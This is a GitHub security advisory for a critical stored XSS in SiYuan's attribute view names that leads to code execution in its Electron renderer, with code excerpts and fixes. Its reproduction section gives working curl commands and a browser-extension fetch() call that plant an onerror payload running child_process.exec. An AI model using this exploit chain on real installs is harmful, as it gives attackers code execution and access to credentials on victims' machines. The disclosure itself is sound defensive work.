Skip to content

SiYuan Affected by Stored XSS via Attribute View Name to Electron Renderer RCE

Critical severity GitHub Reviewed Published May 4, 2026 in siyuan-note/siyuan • Updated May 13, 2026

Package

gomod github.com/siyuan-note/siyuan/kernel (Go)

Affected versions

<= 0.0.0-20260421031503-96dfe0bea474

Patched versions

0.0.0-20260512140701-d7b77d945e0d

Description

Summary

The kernel stores Attribute View (AV / database) names without any HTML escape, then a render template uses raw strings.ReplaceAll(tpl, "${avName}", nodeAvName) to embed the name in HTML before pushing to all clients via WebSocket. Three independent client paths (render.ts:120 → outerHTML, Title.ts:401 → innerHTML, transaction.ts:559 → innerHTML) consume the value without escaping. Because the main BrowserWindow runs nodeIntegration:true, contextIsolation:false, webSecurity:false (app/electron/main.js:407-411), HTML injection in the renderer becomes Node.js code execution.

Payload is stored on disk under data/storage/av/<id>.json, replicates via every sync transport (S3 / WebDAV / cloud), survives .sy.zip export-import, and triggers for any role (Administrator / Editor / Reader / publish-service Visitor) opening a doc bound to the AV.

Details

Kernel write — no escape. kernel/model/attribute_view.go:3244-3255:

attrView.Name = strings.TrimSpace(operation.Data.(string))
attrView.Name = strings.ReplaceAll(attrView.Name, "\n", " ")
if 512 < utf8.RuneCountInString(attrView.Name) {
    attrView.Name = gulu.Str.SubStr(attrView.Name, 512)
}
err = av.SaveAttributeView(attrView)         // ← no html.EscapeString

Kernel template — raw replace. kernel/model/attribute_view.go:3242,3283-3284:

const attrAvNameTpl = `<span data-av-id="${avID}" ... class="popover__block">${avName}</span>`
// ...
tpl := strings.ReplaceAll(attrAvNameTpl, "${avID}", nodeAvID)
tpl = strings.ReplaceAll(tpl, "${avName}", nodeAvName)   // ← raw

Sink #1 — AV body header → outerHTML. app/src/protyle/render/av/render.ts:120 (returned from genTabHeaderHTML, written via outerHTML at render.ts:596):

<div contenteditable="${editable}" ... data-title="${data.name || ""}" ...>${data.name || ""}</div>
// ...
e.firstElementChild.outerHTML = `<div class="av__container">${genTabHeaderHTML(...)}...</div>`;

Same pattern in kanban/render.ts:227 and gallery/render.ts:142.

Sink #2 — Doc title attribute strip → innerHTML. app/src/protyle/header/Title.ts:396-403:

response.data.attrViews.forEach((item: { id: string, name: string }) => {
    avTitle += `<span data-av-id="${item.id}" ... class="popover__block">${item.name}</span>&nbsp;`;
});
nodeAttrHTML += `<div class="protyle-attr--av">...${avTitle}</div>`;
this.element.querySelector(".protyle-attr").innerHTML = nodeAttrHTML;

Sink #3 — WebSocket updateAttrs push → innerHTML. app/src/protyle/wysiwyg/transaction.ts:549-562,659:

const escapeHTML = Lute.EscapeHTMLStr(data.new[key]);
if (key === "bookmark") { bookmarkHTML = `...${escapeHTML}...`; }
else if (key === "name")     { nameHTML  = `...${escapeHTML}...`; }
else if (key === "alias")    { aliasHTML = `...${escapeHTML}...`; }
else if (key === "memo")     { memoHTML  = `...${escapeHTML}...`; }
else if (key === "custom-avs" && data.new["av-names"]) {
    avHTML = `<div class="protyle-attr--av">...${data.new["av-names"]}</div>`;
    //                                          ^^^^^^^^^^^^^^^^^^^^^^^^ raw, unlike the four siblings above
}
// ...
attrElement.innerHTML = nodeAttrHTML + Constants.ZWSP;

The four sibling cases use Lute.EscapeHTMLStr — proving the team knows the right pattern; only av-names was missed.

Renderer posture — RCE multiplier. app/electron/main.js:407-411:

webPreferences: {
    nodeIntegration: true, webviewTag: true,
    webSecurity: false, contextIsolation: false,
}

Reachability. Route /api/transactions setAttrViewName requires CheckAuth + CheckAdminRole + CheckReadonly. On default install (Conf.AccessAuthCode == ""), kernel/model/session.go:261-287 auto-grants Administrator to local-origin requests. The Origin check accepts localhost / loopback only but chrome-extension:// is explicitly allowlisted (session.go:277), so any installed browser extension calls the API as admin. Local clients with no Origin header (CLI tools) also pass.

Suggested fix

  1. kernel/model/attribute_view.go getAvNames (line 3283-3284): replace the two strings.ReplaceAll calls with template.HTMLEscapeString(nodeAvName) for the ${avName} substitution.
  2. transaction.ts:559: wrap with Lute.EscapeHTMLStr to match siblings at lines 549-557.
  3. render.ts:120: use Lute.EscapeHTMLStr(data.name) for both data-title= and the text content.
  4. Title.ts:396: escape item.name via Lute.EscapeHTMLStr and item.id via escapeAttr.
  5. (Defense-in-depth) Switch the main BrowserWindow to contextIsolation: true with a preload bridge — caps every future renderer XSS at "DOM only," not RCE.

Reproduction (copy-paste-ready)

Tested on Linux/macOS with SiYuan v3.6.5 (re-verified against master HEAD on 2026-05-03). Windows users: replace python3 with py and use Git Bash / WSL for the shell snippets, or translate to PowerShell.

Prereqs

  1. Install SiYuan v3.6.5 from https://github.com/siyuan-note/siyuan/releases. Launch it once so the workspace at ~/SiYuanWorkspace is initialized. Do not set an Access Authorization Code (default).
  2. Verify the kernel responds: 
    curl -s http://127.0.0.1:6806/api/system/version
    Expected output (single line of JSON): 
    {"code":0,"msg":"","data":"3.6.5"}
  3. Pin shell variables for the rest of the PoC: 
    API=http://127.0.0.1:6806
WS=~/SiYuanWorkspace                                      # adjust if your workspace lives elsewhere

NOTEBOOK_ID=$(curl -s -X POST $API/api/notebook/lsNotebooks \
  -H 'Content-Type: application/json' -d '{}' \
  | python3 -c 'import sys,json; print(json.load(sys.stdin)["data"]["notebooks"][0]["id"])')
echo "Using notebook: $NOTEBOOK_ID"
    Expected: a 14-digit-timestamp + -7chars ID like 20240101120000-abc1234. If you get an empty string, you have no notebooks — open SiYuan and click "New notebook" once.

Step A — Create the AV via the SiYuan UI (one-time, ~10 seconds)

The kernel's setAttrViewName requires the AV file to already exist on disk (av.ParseAttributeView returns an error otherwise). The simplest way to create one is via the editor:

  1. Open SiYuan. In any document, type /database and press Enter (or open the slash-command menu and pick Database).

  2. The editor inserts an Attribute View block. The kernel writes a JSON file to <workspace>/data/storage/av/<av-id>.json.

  3. Capture the AV ID — the most recently written file in that directory:

    AV_FILE=$(ls -1t "$WS/data/storage/av/"*.json 2>/dev/null | head -1)
AV_ID=$(basename "$AV_FILE" .json)
echo "AV_ID: $AV_ID"

    Expected: same 14-digit-timestamp + -7chars shape, e.g. 20260503160000-aaaaaaa. If empty, the AV file wasn't created — repeat the UI step. (If your workspace already has many AV files, this picks the newest by mtime; alternatively right-click the inserted database block in SiYuan → Inspect Element to read its data-av-id attribute.)

  4. Capture the doc ID that hosts the AV: right-click the doc tab → Copy ID, or read it from the doc's data-node-id in DevTools (Ctrl+Shift+I). Set:

    DOC_ID=<root-block-id-of-the-doc-containing-the-AV>

Step B — Plant the XSS payload as the AV name

The payload is written directly inside an unquoted heredoc so bash expands $AV_ID while preserving the \" JSON-escape sequences literally. Single-quote chars (') in the inner JS need no escaping inside a JSON string.

curl -s -X POST $API/api/transactions \
  -H 'Content-Type: application/json' \
  --data-binary @- <<EOF
{
  "session": "x",
  "app": "siyuan",
  "transactions": [{
    "doOperations": [{
      "action": "setAttrViewName",
      "id": "$AV_ID",
      "data": "<img src=x onerror=\"require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')\">"
    }],
    "undoOperations": []
  }]
}
EOF

Expected response:

{"code":0,"msg":"","data":[{"doOperations":[...,"action":"setAttrViewName",...]}]}

Step C — Verify the unescaped storage

python3 -c "import json; print(json.load(open('$WS/data/storage/av/$AV_ID.json'))['name'])"

Expected output (the raw HTML as stored — print does not escape ", so they appear as literal quotes):

<img src=x onerror="require('child_process').exec(process.platform==='win32'?'calc.exe':process.platform==='darwin'?'open -a Calculator':'xcalc')">

Step D — Trigger

In the SiYuan desktop client:

  1. Switch away from the doc that contains the AV (open another doc, or close the tab).
  2. Re-open the doc containing the AV ($DOC_ID).
  3. The AV body header is rendered via genTabHeaderHTML → outerHTML at app/src/protyle/render/av/render.ts:596. The browser parses the <img> tag, fails to load src=x, and fires onerror.
  4. Calculator (or xcalc / open -a Calculator) launches.

If nothing happens, open DevTools (Ctrl+Shift+I / ⌘⌥I) → Console; you should see the error from the failed src=x load. If the AV is in another doc you haven't opened recently, the cached render may be stale — close all tabs and re-open.

Step E — Browser-extension attack vector (the realistic remote path)

A malicious or compromised installed browser extension's content/background script runs with chrome-extension://<id> Origin, allowlisted by session.go:277. The extension can run Steps B's curl-equivalent via fetch():

// Inside any extension content/background script
fetch('http://127.0.0.1:6806/api/transactions', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    session: 'x', app: 'siyuan',
    transactions: [{ doOperations: [{
      action: 'setAttrViewName',
      id: '<av-id-discovered-via-prior-recon-fetches>',
      data: `<img src=x onerror="require('child_process').exec('xcalc')">`
    }] }]
  })
});

The extension can also enumerate AV IDs by first calling /api/notebook/lsNotebooks, then walking notebook trees.

A page from https://attacker.com is rejected — IsLocalOrigin only matches localhost/loopback. Realistic remote vectors are: browser extensions, localhost-served webpages, shared .sy.zip imports, sync replication from a co-author's compromised device.

Cleanup

# Remove the test doc (also removes the AV binding in the doc)
curl -s -X POST $API/api/filetree/removeDocByID \
  -H 'Content-Type: application/json' -d "{\"id\":\"$DOC_ID\"}"

# Manually delete the AV file
rm -f $WS/data/storage/av/$AV_ID.json

# Restart SiYuan to clear in-memory state

Impact

  • RCE on the victim's desktop with the user's privileges, no extra prompt after the trigger condition is met.
  • Persistent — payload survives restart, syncs across devices, rides in .sy.zip exports and Bazaar templates.
  • Triggers for any role opening a doc bound to the AV (incl. Reader-role publish viewers).
  • After RCE: full filesystem read (incl. ~/.ssh/, ~/.aws/credentials, workspace conf/conf.json — kernel API token + AccessAuthCode hash), persistence (.bashrc / Startup folder / LaunchAgent), cloud-account pivot.
  • Attack vectors: browser extensions (chrome-extension:// Origin allowlisted); shared .sy.zip files; Bazaar templates; sync peers; co-authors on a shared workspace; publish-service planters infecting Reader viewers.

References

@88250 88250 published to siyuan-note/siyuan May 4, 2026
Published to the GitHub Advisory Database May 8, 2026
Reviewed May 8, 2026
Last updated May 13, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction Passive
Vulnerable System Impact Metrics
Confidentiality High
Integrity High
Availability High
Subsequent System Impact Metrics
Confidentiality High
Integrity High
Availability High

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS score

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Initialization of a Resource with an Insecure Default

The product initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure. Learn more on MITRE.

CVE ID

CVE-2026-44670

GHSA ID

GHSA-2h64-c999-c9r6

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.